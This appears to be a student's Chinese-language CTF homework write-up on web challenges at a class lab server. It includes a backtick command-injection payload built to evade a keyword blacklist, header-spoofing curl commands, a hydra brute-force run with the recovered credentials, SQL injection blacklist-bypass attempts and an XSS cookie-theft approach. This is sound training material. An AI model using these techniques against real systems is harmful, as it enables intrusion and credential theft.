---
tag : attack and defense
---
# 攻防作業三[web ctf]
---
# 第一題[12000]:Gomai
沒有說明,只有給一個網址,要求很簡單,找到flag就可以
- **第一部分**
- 首先按f12,叫出開發者介面點開他的html檔裡面就可以找到flag的一小部分
- **第二部分**
- 藏在.css檔的最下面
- **第三部分**
- 藏在<span class="blue">cookie</span>裡面,可以從console裡面找也可以從network裡面去點
- **第四部分**
- 進到network。<span class = "blue">要點進去後重新整理頁面才會出來</span>,最後在某張圖面找到了falg4的資訊
- **第五部分**就在index.js裡面!!因為他是程式碼所以看都不想看。從學長那邊學到了可以直接把東西貼在網頁的console,因此得知了b0cchi的數字。比較麻煩的是,要找到falg5需要去改程式碼:
- .css裡面已經看到他有註解一段overflow: hidden scroll的程式,我也不知道改哪裡,反正就是把所有的hidden改成hidden scroll。
- 第二個要改的就是.js檔裡的東西,因為b0cchi的數字很大,程式裡面寫到要大於b0cchi才會跑進趴伍的程式裡面,但是他那個loop每次都只+1,所以我們把那個+直接改成八位數((
- 改好之後存檔(我把網頁載下來)接著打開改好的檔案,打開網頁裡的console,接著下拉卷軸(改hidden scroll的用意)滑個兩下就會大於b0cchi這時候console裡面就會出現第五段flag了!!
- 接下來就要拼接~~那第一部分很長,總之慢慢裁,裁到他跑出來的只剩下有意義的東西,然後把後面找到的也全部拼上去,要連在一起拼喔~然後就有解答了~~
- 弄粗乃的東西長這樣:QURMezBLYWFzQU5fTjBfVDBNMERhY2hpX3kwQjBrYXxodHRwczovL3lvdXR1LmJlL0l3SHd2LWxjeGk0fQ==
- 轉成utf-8後長這樣:
>ADL{OKaasAN_NO_TOM0Dachi_0B0ka|https://youtu.be/lwHwv-Icxi4}
# 第二題[12001] bocchi search tool
考指令(?)
- **第一步**
- 要求送一個json檔, head 要是bocchi
- blacklist擋掉cat , flag , | 等關鍵字
- 找到替換符號``
- 因為cat 不能用,所以用了tac()
- flag被擋掉所以用f[l]ag, []可以是個list, 用來躲掉blacklist
- 前後要‘’, 因為code前後有加單引號所以要中斷掉不然會被判定成string
- **結果**
- {"bocchi":"'\`tac f[l]ag\`'"}
>ADL{k4njuku_m4ng0_https://youtu.be/B7BxrAAXl94}
# 第三題[12002] Monster
*考header*
- **第一部分**
- **HINT** : <span class = "blue">STARRYBrowser</span>
- 去看header裡面有關browser的資訊:User-Agent那欄改成STARRYBrowser
>curl -H "User-Agent:STARRYBrowser" http://ctf.adl.tw:12002/
- **第二部分**
- **HINT** : <span class = "blue">Your IP must be 127.0.0.1</span>
- 再改header
- >curl -H "User-Agent:STARRYBrowser" -H "X-Forwarded_for: 127.0.0.1" http://ctf.adl.tw:12002/
- **第三部分**
- **HINT** : <span class = "blue">You must speak Japanese and you must be in Japan. </span>
>curl -H "User-Agent:STARRYBrowser" -H "X-Forwarded_for: 127.0.0.1" -H "Accept-Language: ja-JP" http://ctf.adl.tw:12002/
- **第四部分**
- **HINT** :
- > <span class = "blue"> Now, you must <a href="/admin">login</a><div style="opacity:0.025">bocchi & 🤘rockyou!!!</div> </span>
- go to http://ctf.adl.tw:12002/admin
- username 是bocchi
- hydra -l bocchi -P /usr/share/wordlists/rockyou.txt 140.115.59.7 -s 12002 http-get /admin
- password用hydra跑一整個晚上出來是bocchio

- 登入後會跳回12002
- **第五部分**
- **HINT** :

在header的部分找到多出的Authorization, 把它加進curl的行列, 網址是用admin的
>curl -H "User-Agent:STARRYBrowser" -H "X-Forwarded_for: 127.0.0.1" -H "Accept-Language: ja-JP" -H "Authorization: Basic Ym9jY2hpOmJvY2NoaW8=" http://ctf.adl.tw:12002/admin
- **得到flag:**
- <code>ADL{g0men_Im4OK4N3Naik4ra_0BOte_https://youtu.be/Gc3NKC8TQtY}</code>
# <span class = "orange">第四題[12003] ISOSTAGRAM - 1</span>
- 依提示前往/?source
- 在這邊找到username = 'kita0421'
- blacklist 基本sql語法
- 下方有sql語法 -> 推測為sql injection
- 避開blacklist : U**UNION**NION, A**AND**AND... etc
- 應該用union select, 但我們還沒找到方法
- 嘗試用order by 確認行數,但輸入 ' ORDER BY 1-- 就掛了
- 使用 ' UUNIONNION SSELECTELECT NULL-- 也一樣不行
-
***- haven't figure out the solution***
# <span class = "orange">第五題[12004] ISOSTAGRAM - 2</span>
因為-1都沒有做出來所以沒做
# <span class = "orange">第六題[12005] FUKUWARAI</span>
根本看不懂介面 : )
# <span class = "orange">第七題[12006] Message board </span>
XSS
- 利用輸入撈admin cookie
- 一開始cookie只有userid,忘記輸入啥東西之後就跑出了sessionid
- 輸入有擋script, svg, image 等html tag,但是iframe可以用
- 利用雙寫可以繞過,但script沒法執行不知道是不是要用其他方法,svg和img雙寫後都可以執行alert
-
<style>
.blue {
color: blue;
}
</style>
<style>
.orange{
color: orange;
}
</style>